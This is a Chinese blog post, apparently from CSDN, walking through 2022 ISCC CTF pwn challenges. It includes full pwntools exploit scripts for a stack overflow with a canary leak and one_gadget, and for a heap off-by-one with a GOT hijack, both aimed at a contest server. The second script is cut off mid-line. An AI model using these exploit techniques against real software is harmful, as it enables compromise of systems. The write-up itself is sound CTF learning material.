2022ISCC PWN

本文记录了作者参加2022ISCC比赛时遇到的PWN类赛题,包括跳一跳、careless_note、create_id等,涉及栈溢出、堆溢出、格式化字符串、UAF等安全漏洞,分享了利用思路和解题技巧。
摘要由CSDN通过智能技术生成

第二次参加ISCC了,远比第一次做出的题目更多,因此记录一下做题思路。因为时隔较远一些,过去貌似一个多月了,这边只记录大概的一些思路。

跳一跳

  这题比较有意思些,有不少点。首先是保护全开的
在这里插入图片描述
  查看了下代码,发现应该是栈溢出,但是有携带canary,所以首先是泄露出canary。总共有两个输入点:

  输入的地方距离canary只差了0xD8,而循环执行了0xE7次,所以是需要去中断后续的scanf的输入。观察到是%d的参数,那么在遇到字符输入时会停止获取输入,所以只要在覆盖到canary时,输入一个字符即可阻止scanf继续读取输入。
在这里插入图片描述
  其他就不再多谈了,看exp理解即可。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./1")
#p = process('./1')
libc = ELF('./libc-2.27.so')
p = remote("123.57.69.203", 7020)
p.recvuntil("Hello CTFer! Welcome to the world of pwn~\n")
#gdb.attach(p, "b *$rebase(0x1217)")
for i in range(217):
    p.sendline('1')
p.send('a')
p.recvuntil('Your input is: ')
p.recv(0xd8)
canary = u64(p.recv(8)) - 1

log.info("canary = " + hex(canary))
stack = u64(p.recv(6).ljust(8, '\x00')) + 8
log.info("stack==>0x%x" %stack)
payload = 'a'*0xd8 + p64(canary) + 'deadbeef' + '\x98'
p.send(payload)
p.recvuntil("Hello CTFer! Welcome to the world of pwn~\n")
for i in range(88):
    p.sendline('1')
p.send('a')
p.recvuntil('Your input is: ')
p.recv(88)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - libc.sym['_IO_2_1_stderr_']
log.info("libc_base==>0x%x" %libc_base)
ogg = libc_base + 0x4f2c5
payload = 'a'*0xd8 + p64(canary) + 'deadbeef' + p64(ogg)
p.send(payload)
p.interactive()

careless_note

  堆题,在输入函数内,存在一个offbyone漏洞
在这里插入图片描述
在这里插入图片描述
  选择去劫持got表来getshell,同时泄露地址也通过got表实现的。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./careless_note")
libc = ELF("./libc-2.23.so")
p = remote("123.57.69.203", 8010)
def debug():
	gdb.attach(p, "b main")
	#gdb.attach(p, "b *$rebase(0x)")

def add(size, content):
    p.sendlineafter("Your choice :", '1')
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recvuntil("Content of heap:")
    p.send(content)
	
def edit(idx, content):
    p.sendlineafter("Your choice :", '2')
    p.recvuntil("Index :")
    p.sendline(str(idx))
    p.sendlineafter("Your choose:", '1')
    p.recvuntil("Content of heap : ")
    p.send(content)

def show(idx):
    p.sendlineafter("Your choice :", '3')
    p.recvuntil(" ")
    p.sendline(str(idx))

def free(idx):
    p.sendlineafter("Your choice :", '2')
    p.recvuntil("Index :")
    p.sendline(str(idx))
    p.sendlineafter("Your choose:", '0')

free_got = elf.got["free"]
add(0x18,'a') 
add(0x10,'b') 
add(0x10,'c') 
add(0x10,"/bin/sh\x00") 
edit(0,'a'*0x18+'\x81')
free(1)
add(0x70,'a'*0x40 + p64(0x8) + p64(free_got))
show(2)
p.recvuntil("Content : ")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['free']
log.success(hex(libc_base))
sys=libc.sym["system"<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShouCheng3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值